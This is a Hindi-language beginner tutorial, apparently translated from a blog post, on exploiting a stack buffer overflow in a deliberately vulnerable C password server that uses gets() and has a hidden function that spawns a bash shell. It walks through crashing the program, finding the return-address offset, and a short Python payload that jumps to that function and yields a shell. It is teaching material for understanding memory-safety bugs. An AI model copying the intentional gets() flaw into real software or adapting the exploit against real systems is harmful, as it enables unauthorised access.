आपका पहला बफर ओवरफ्लो
चाहे आप छात्र हों, डेवलपर हों या किसी कंपनी के प्रबंधक हों, आपको इसे आजमाना चाहिए। सुरक्षित कोड लिखने की कुंजी यह समझ रही है कि खराब कोड कैसे टूटता है। खराब कोड को तोड़ने का एकमात्र तरीका है कि आप अपने हाथों को गंदा करें और बाइनरी शोषण चुनौतियों पर गोले फोड़ना शुरू करें। इस लेख में, मैं YouTube पर किए गए एक उदाहरण का उपयोग करके आपको अपना स्वयं का बफर ओवरफ़्लो आक्रमण चलाने का तरीका बताऊंगा.
अपने एक YouTube वीडियो में, मैंने बताया कि कैसे C प्रोग्रामिंग लैंग्वेज में स्ट्रिंग्स लोगों को हैक करवा रही हैं। इसका प्राथमिक कारण यह है कि सी स्ट्रिंग प्रकार से जुड़ी कोई लंबाई विशेषता नहीं है। यह बताने का एकमात्र तरीका है कि एक स्ट्रिंग की गई है या नहीं, स्ट्रिंग के अंत में नेविगेट करना है।
https://youtu.be/fjMrDDj47E8
इस अवधारणा ने सॉफ्टवेयर में अनगिनत बफर ओवरफ्लो कमजोरियों को जन्म दिया है, और इसके परिणामस्वरूप हजारों साइबर हमले और व्यक्तिगत डेटा की चोरी हुई है।
हमारा कमजोर सर्वर
सी में एक साधारण सर्वर के लिए नीचे कुछ कोड है।
#include <stdio.h>
#include <secrets.h>
void debug()
{
printf("!! ENTERING DEBUG MODE !!\n");
system("/bin/bash");
}
int checkPassword()
{
char password[64];
printf("password: ");
gets(password);
return isValidPassword(password);
}
int main(int argc, char **argv)
{
printf("WELCOME TO THE SECURE SERVER\n");
if (checkPassword())
{
debug();
} else {
printf("Wrong password, sorry;\n");
}
}
हालाँकि, यहाँ एक बड़ी भेद्यता है। पासवर्ड जो अंततः चेक किया जाता है, फ़ंक्शन द्वारा पढ़ा जाता है get , जो एक बेहद कमजोर कार्य है। यदि आप मुझ पर विश्वास नहीं करते हैं, तो गेट्स के लिए मैन पेज देखें।
Never use gets(). Because it is impossible to tell without knowing the data
in advance how many characters gets() will read, and because gets() will
continue to store characters past the end of the buffer, it is extremely
dangerous to use. It has been used to break computer security. Use fgets()
instead.
ढेर
प्रोग्रामर और साइबर सुरक्षा पेशेवरों के लिए यह समझने में सबसे कठिन हिस्सा है कि कैसे एक बफर के बाहर डेटा का एक ओवररन एक हैकर को आपके कोड और अंततः आपके कंप्यूटर पर नियंत्रण प्राप्त कर सकता है। जिस तरह से यह होता है वह यह है कि जब कोई प्रोग्राम चलता है तो कंप्यूटर मेमोरी को कैसे व्यवस्थित करता है।

कोड के उपरोक्त नमूने में, कार्यक्रम मुख्य रूप से शुरू होता है। मुख्य शुरुआत के बाद , लाइन 10 पर, अन्य_फंक्शन को कॉल किया जाता है। समझने के लिए बेहद महत्वपूर्ण बात यह है कि अन्य_फंक्शन वापस आने के बाद लाइन 11 पर जाने के बारे में कैसे जानता है।
जिस संरचना में यह जानकारी होती है उसे "स्टैक" कहा जाता है। स्टैक RAM का क्षेत्र है जिसका उपयोग तब किया जाता है जब आपका प्रोग्राम निष्पादित होता है और इसका उपयोग नियंत्रण प्रवाह जानकारी (जैसे वापसी पते) दोनों को संग्रहीत करने के लिए किया जाता है, लेकिन डेटा भी।
जब मुख्य अन्य_फंक्शन को कॉल करता है, तो वह पता जो अन्य_फंक्शन रिटर्न के बाद मुख्य में अगला निष्पादित करेगा , स्टैक के शीर्ष पर धकेल दिया जाता है। अन्य_फंक्शन चलता है, और फिर प्रोग्राम मुख्य द्वारा संग्रहीत पते पर वापस जाता है ।
यहीं से बफर ओवरफ्लो मायने रखता है। यदि आपके प्रोग्राम के डेटा में बफर ओवरफ्लो है, तो आप नियंत्रण प्रवाह की जानकारी को बदल सकते हैं, और अंत में प्रोग्राम के निष्पादन के तरीके को बदल सकते हैं।

इसे स्वयं आज़माएं
यहाँ इस कोड स्निपेट पर भी यही बात लागू होती है। इस कार्यक्रम के पीछे विचार यह है कि यदि आप पासवर्ड जानते हैं, तो आपको एक शेल मिलता है। दुर्भाग्य से, हम हैकर्स पासवर्ड नहीं जानते हैं, इसलिए हमें शेल नहीं मिलता है। हालाँकि, क्योंकि फ़ंक्शन get का उपयोग किया जाता है, हम बफर ओवरफ्लो भेद्यता का लाभ उठा सकते हैं और रिटर्न एड्रेस को ओवरफ्लो कर सकते हैं। मुख्य पर वापस लौटने के बजाय , हम पासवर्ड जाने बिना सीधे डिबग फ़ंक्शन पर लौट सकते हैं।
यहाँ साथ पालन करें:
https://github.com/lowlevellearning/secure-server-stuff
परीक्षण कार्यक्षमता
आरंभ करने के लिए, हमें सर्वर चलाना चाहिए और इसकी कार्यक्षमता का परीक्षण करना चाहिए। साथ ही, पासवर्ड का अनुमान लगाने का प्रयास करते हैं।

ठीक है, कोई पासा नहीं। यहीं से हैकिंग की शुरुआत होती है।
सर्वर को क्रैश करें
हम बफर ओवरफ्लो का लाभ उठा सकते हैं, जैसा कि नाम से पता चलता है, बफर को ओवरफ्लो करके। ऐसा करने के लिए, हम सर्वर की क्षमता से अधिक डेटा प्रदान करते हैं।

नीचे, हम देखते हैं कि प्रोग्राम में सेगमेंटेशन फॉल्ट था। इसका मतलब यह है कि प्रोग्राम ने उस मेमोरी को एक्सेस करने की कोशिश की जिसे वह एक्सेस नहीं कर पा रहा था। यदि आप एक डेवलपर हैं, तो यह बुरा है। लेकिन, अगर आप सर्वर को हैक करने की कोशिश कर रहे हैं, तो यह अच्छा है :)
आइए दुर्घटना को थोड़ा और नीचे तोड़ते हैं।

यहां, हम देख सकते हैं कि प्रोग्राम 0x41414141 पते पर निर्देशों को निष्पादित करने का प्रयास करते समय segfaulted है। वह पता लगना चाहिए ... अजीब। दिलचस्प रूप से पर्याप्त है, 0x41414141 स्ट्रिंग "AAAA" का हेक्स प्रतिनिधित्व है, जिसका अर्थ है कि हमारी As की स्ट्रिंग रिटर्न एड्रेस में ओवरफ्लो हो गई और CPU ने इसे निष्पादित करने का प्रयास किया। अब हैकिंग कर रहे थे!
नियंत्रण लेना
वापसी पते का सटीक नियंत्रण प्राप्त करने के लिए, हमें विशेष रूप से यह निर्धारित करने की आवश्यकता है कि हमारी ASCII स्ट्रिंग के किस भाग के कारण प्रोग्राम क्रैश हो गया। हम अपनी स्ट्रिंग को अलग-अलग वर्णों के साथ संशोधित करके और वर्णों का उपयोग करके यह निर्धारित कर सकते हैं कि वापसी पते का हमारा नियंत्रण कहां से शुरू और समाप्त होता है।

As की एक लंबी स्ट्रिंग के बजाय, हम 64 As डालते हैं, इसके बाद अतिरिक्त ASCII वर्णों की एक श्रृंखला होती है। 64 हमारे इनपुट बफ़र की लंबाई है, इसलिए लंबाई का अनुमान लगाने के लिए यह एक अच्छी जगह है। उसके बाद, हम अतिरिक्त वर्ण सम्मिलित करते हैं। यह जाँचने के लिए कि हमारा नियंत्रण कहाँ से शुरू होता है, पहले की तरह ही कमांड का उपयोग करें।

अब आप देख सकते हैं कि हमारे पास वापसी का नया पता है। 0x45454545 "ईईईई" का हेक्स प्रतिनिधित्व है! इसका मतलब यह है कि हमने तय कर लिया है कि हमारा ओवरफ्लो रिटर्न पॉइंटर को कहां नियंत्रित करता है। यहां से, हमें उस बफ़र में एक पता लगाने की ज़रूरत है जिसकी हम वास्तव में परवाह करते हैं। हम डिबग फ़ंक्शन पर लौटने का प्रयास कर रहे हैं, इसलिए हमें उस पते को ईईईई स्ट्रिंग के स्थान पर रखना चाहिए।
डिबग का पता निर्धारित करने के लिए, हम एक साधारण कमांड चलाते हैं ...
objdump -d -Mintel ./hacked | less

ऐसा लगता है कि डीबग पता 0x08049296 है। अगर हम डिबग पता डालते हैं जहां हमारी ईईईई स्ट्रिंग थी, तो शायद हम प्रोग्राम को नियंत्रित कर सकते हैं और पासवर्ड की आवश्यकता के बिना डीबग पर वापस आ सकते हैं।
अंतिम शोषण
हम कुछ अजगर-फू का उपयोग करके ऐसा कर सकते हैं।
import sys
payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]
sys.stdout.buffer.write(payload)
user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER
password: !! ENTERING DEBUG MODE !!
cat password
too_kool_4_skoo
कृपया मुझे मीडियम पर फॉलो करें, YouTube पर सब्सक्राइब करें। और भी आने को है!